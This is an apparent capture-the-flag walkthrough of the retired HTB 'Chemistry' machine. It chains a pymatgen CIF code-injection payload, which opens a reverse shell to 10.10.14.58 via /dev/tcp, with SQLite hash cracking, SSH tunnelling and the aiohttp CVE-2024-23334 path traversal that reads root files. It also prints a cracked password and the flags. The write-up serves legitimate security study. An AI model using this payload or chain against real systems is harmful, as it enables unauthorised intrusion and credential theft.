> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/write-ups/htb-machines/chemistry.md).
# Chemistry (Easy)
## Description
* **Difficulty** **->** Easy
* **OS** **->** Linux
* **State** -> Retired
* **Tags** -> Web Application
/ Custom Applications / Arbitrary File Read / Remote Code Execution\
/ Python
## Write-up
* I started doing an initial port scan using [*Nmap*](/hacking-knowledge/networks-wip/tools-and-utilities.md#nmap)
{% code lineNumbers="true" %}
```bash
nmap 10.129.92.228 -p- -Pn --min-rate 2500 -oN scan.txt
```
{% endcode %}
***
* Then I did an exhaustive scan to learn more about the services running on the open ports
{% code overflow="wrap" lineNumbers="true" %}
```bash
nmap 10.129.92.228 -p22,5000 -sVC -oN serv_scan.txt
```
{% endcode %}
snippet
***
* I found the HTTP protocol running on port 5000; in this case, a Universal Plug and Play (UPNP) service that helps in network discovery. So, to check it, I navigated to the address using the browser, and there I found a simple site that seemed to be a program for processing files related to chemistry. I tried to register and log in, which sent me to a dashboard with an option to upload a Crystallographic Information File (CIF)
{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](/hacking-knowledge/networks-wip/protocols/http.md)
{% endhint %}
***
* I didn't know about this type of file, but the site also allowed me to download a sample file to check which parameters the page processed and the file format
***
* As I was able to modify and reupload the file to the web, it could lead to a possible File Upload vulnerability, so I could try to leverage it to gain a Reverse Shell from the server. To do so, I checked on the web for possible CVE*s* and exploits. In this process, I found an interesting [repository](https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f) with a vulnerability that affected versions *2024.2.8* or lower and could help me gain RCE on the target
{% hint style="success" %}
To learn more about File Upload exploitation, you can go [here](/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/abuse-file-upload-wip.md)
{% endhint %}
***
* With this, I crafted a modified version of the CIF file to execute commands remotely. In that case, I modified it by adding a script to gain a reverse shell
{% code title="exploit.cif" overflow="wrap" lineNumbers="true" %}
```
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.58/4444 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
```
{% endcode %}
{% hint style="info" %}
I used a custom payload for the reverse shell because some standard payloads didn't work, and the script had special characters that needed to be interpreted
{% endhint %}
***
* After that, I uploaded the file to the system and set a [*Netcat*](/hacking-knowledge/networks-wip/tools-and-utilities.md#netcat) listener on my machine to receive the connection. Then, I clicked the *View* button to run the internal script, observing that the page kept loading and checking that the listener had caught the shell from the host. I also sanitized the terminal to work more comfortably and checked which user I was, now having access as the *app* user, the one from the web server
{% code lineNumbers="true" %}
```bash
nc -nvlp 4444
```
{% endcode %}
{% hint style="success" %}
To learn more about the sanitization process, you can go [here](/hacking-knowledge/linux/useful-shell-resources.md#tty-sanitization)
{% endhint %}
***
* Then I navigated through the system, checking for a possible way to do lateral movement or privilege escalation. I found that in the */home* folder, there was a folder for another user named *rosa*. I listed the files under this directory and found a *user.txt* file, but when trying to read its content, I didn't have the proper permissions
***
* In these circumstances, I needed to do lateral movement to gain access as *rosa*. Searching for any clue about how to do it, I found that under the */home/app/instance* folder (which contained files of the web service), there was a *database.db* file, and checking its type with the `file` command, I confirmed it was a *SQLite3* database
***
* Knowing this, I interacted with it and retrieved some information. I queried information about the tables and found a user table, and by reading its information, I found some users and values that could be hashes for passwords. I noticed that the same user *rosa* was in this database, so I could assume it was the system user and try to crack the hash to obtain the password
{% code overflow="wrap" lineNumbers="true" %}
```bash
sqlite3 database.db
sqlite> .tables
sqlite> SELECT * FROM user;
```
{% endcode %}
***
* To do that, I used the online tool [*CrackStation*](/hacking-knowledge/cryptography-wip/tools-and-utilities.md#crackstation) to recognize and break the hash, and I was lucky because it was a known MD5 hash that revealed the password *unicorniosrosados*
{% hint style="success" %}
To learn more about MD5 or other hashes, you can go [here](/hacking-knowledge/cryptography-wip/fundamental-concepts/hashing-wip.md#well-known-hashes)
{% endhint %}
***
* Then, I tried to connect through SSH to the *rosa* user using this password and got in successfully. I also sanitized the terminal again to interact with it better
{% hint style="success" %}
To learn more about the SSH protocol, you can go [here](/hacking-knowledge/networks-wip/protocols/ssh.md)
{% endhint %}
***
* With that, I had proper read permissions to read the u*ser.txt* file in the */home/rosa* folder and retrieved the user flag
{% code overflow="wrap" lineNumbers="true" %}
```bash
cat user.txt
```
{% endcode %}
***
* With that, I got the user flag
> Answer: ***4322e11a0bd69f9f5c49e46ce07b3f35***
***
* Then, I had to find a way to escalate privileges. I started searching, but after a while, I didn't find anything. So, to facilitate the process, I tried using [*Linpeas*](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/tools-and-utilities.md#linpeas) to help me find possible paths for the escalation. After importing it and running it, in the results obtained, I found there was a service running locally on port 8080, which is normally used for some web servers
snippet
***
* As it is locally deployed, I couldn't access the service directly through a browser, but as I had access to the system via SSH, I could try to make a tunnel via local port forwarding to access it from my machine. I did the tunneling process, and to confirm it had worked, I accessed the service in the browser and observed the web service deployed correctly
{% code overflow="wrap" lineNumbers="true" %}
```bash
ssh -L 7777:127.0.0.1:8080 rosa@10.129.92.228
```
{% endcode %}
snippet
***
* I explored the site, which seemed to be a statistics service, but after a while, I didn't find anything interesting, so I tried to retrieve information on the components. I used the `curl` command to send a request and retrieve some information based on the headers of the response
{% code overflow="wrap" lineNumbers="true" %}
```bash
curl http://localhost:7777 --head
```
{% endcode %}
***
* I found that the HTTP server was using the [*aiohttp*](https://docs.aiohttp.org/en/stable/) Python library to deploy the web content and its corresponding version. With this, I searched for some possible related CVEs, and after some research, I found a *GitHub* [repository](https://github.com/wizarddos/CVE-2024-23334) with a POC for *CVE-2024-23334,* which exploited a Local File Inclusion vulnerability in versions 3.9.1 or lower of *aiohttp* to read files as the *root* user
{% hint style="success" %}
To learn more about Local File Inclusion exploitation, you can go [here](/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/local-file-inclusion-wip.md)
{% endhint %}
***
* I downloaded the exploit and used it to automate the attack, but I needed to find a static route to execute the attack. With a little [research](https://stackoverflow.com/questions/62499380/serving-static-files-in-an-http-server), I found some standard folders for static files. I tried some of them in the exploit and noticed that using the */assets* route, it worked
snippet
***
* Finally, as I was reading files as the *root* user, I tried accessing the */root* folder and reading the content of the *root.txt* if it existed, and with that, I luckily retrieved the root flag
***
* With that, I got the root flag and pwned the machine
> Answer: ***861d48a12f6494bc174cca5585a3a3e1***
## Alternative Privilege Escalation
* I could also escalate privileges by retrieving information on the SSH keys for the *root* user. I checked for them in the standard */.ssh* folder using the default name *id\_rsa*, and fortunately, the file existed and leaked the private key
***
* With this, I copied the key into a local file and used it to access the target via SSH. With that done, I could go to the */root* folder and read the *root.txt* file to retrieve the root flag
{% code overflow="wrap" lineNumbers="true" %}
```bash
ssh root@10.129.92.228 -i id_rsa
```
{% endcode %}
snippet
{% hint style="success" %}
To learn in detail about the abuse of SSH keys for privilege escalation, you can go [here](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/privilege-escalation.md#abusing-ssh-keys)
{% endhint %}
